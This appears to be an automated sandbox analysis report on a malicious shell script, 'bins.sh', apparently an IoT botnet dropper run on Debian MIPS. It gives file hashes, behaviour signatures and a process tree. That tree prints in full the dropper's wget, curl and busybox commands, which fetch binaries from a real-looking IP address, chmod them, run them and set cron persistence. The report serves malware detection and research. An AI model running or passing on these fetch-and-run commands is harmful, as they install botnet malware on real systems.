Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23-11-2024 20:50

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    acc93149a703834c82d35c5b31becff8

  • SHA1

    c3d8bf660a21eb45784dc9329194a0e80df1afca

  • SHA256

    ed0804977957488f570fda99c514fa0c6d363077f227de75b18857a47976523f

  • SHA512

    f8a9605ba45f141cadc156e369c781a754c0b300c0e6b14b01f4bd4e8d20be1f1ed6e748456d97cd052148bfa5faf31b79bbb34e625a0bcaac1a04ab52d4d120

  • SSDEEP

    192:mzkzszjA8AaiuKN1i72Pm2JG76GflnTlCQA1Z1ZdZc7PS9l9N9Me7xxq7maMV9LV:TWjruyx+F

Malware Config

Signatures

  • Contacts a large (2094) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:724
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:728
        • /usr/bin/wget
          wget http://87.120.125.191/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:730
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:743
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:750
        • /bin/chmod
          chmod 777 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • File and Directory Permissions Modification
          PID:752
        • /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          ./3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Executes dropped EXE
          PID:753
        • /bin/rm
          rm 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
            PID:755
          • /usr/bin/wget
            wget http://87.120.125.191/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:756
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:757
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:758
          • /bin/chmod
            chmod 777 sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • File and Directory Permissions Modification
            PID:759
          • /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            ./sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Executes dropped EXE
            PID:760
          • /bin/rm
            rm sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
              PID:762
            • /usr/bin/wget
              wget http://87.120.125.191/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Writes file to tmp directory
              PID:763
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:764
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Writes file to tmp directory
              PID:767
            • /bin/chmod
              chmod 777 PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • File and Directory Permissions Modification
              PID:770
            • /tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              ./PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Executes dropped EXE
              PID:771
            • /bin/rm
              rm PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
                PID:775
              • /usr/bin/wget
                wget http://87.120.125.191/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Writes file to tmp directory
                PID:776
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Writes file to tmp directory
                PID:783
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Writes file to tmp directory
                PID:792
              • /bin/chmod
                chmod 777 OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • File and Directory Permissions Modification
                PID:795
              • /tmp/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                ./OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Executes dropped EXE
                PID:796
              • /bin/rm
                rm OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                  PID:800
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Writes file to tmp directory
                  PID:801
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Writes file to tmp directory
                  PID:808
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Writes file to tmp directory
                  PID:820
                • /bin/chmod
                  chmod 777 xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • File and Directory Permissions Modification
                  PID:825
                • /tmp/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  ./xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:826
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:828
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:829
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:830
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:831
                      • /bin/rm
                        rm xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                        2⤵
                          PID:833
                        • /usr/bin/wget
                          wget http://87.120.125.191/bins/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                          2⤵
                            PID:836
                          • /usr/bin/curl
                            curl -O http://87.120.125.191/bins/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                            2⤵
                              PID:886

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1

                            Filesize

                            119KB

                            MD5

                            1b166b95f9cb4b079ef1b9ec8363ddf3

                            SHA1

                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                            SHA256

                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                            SHA512

                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                          • /tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr

                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          • /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

                            Filesize

                            98KB

                            MD5

                            5141342d0df8699fa32a6b066a0c592e

                            SHA1

                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                            SHA256

                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                            SHA512

                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          • /tmp/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /var/spool/cron/crontabs/tmp.L0dBL5

                            Filesize

                            210B

                            MD5

                            b86bc3c1f5a53a32a0eef22a74bf3466

                            SHA1

                            7c7dbd03c68159b74d53ce0787fad0d465bbdf5a

                            SHA256

                            d067e05c0b9175a03ac276e2a4bdc8e0c54d43189a398e96086387dc84111f3e

                            SHA512

                            21cdac80eaabd41bfad53391f4051e45711106f3c63654edf672fdbe5481273024650d0786480fe311b73804dac9327592b581b3944c03a72f070f2b88c84c2a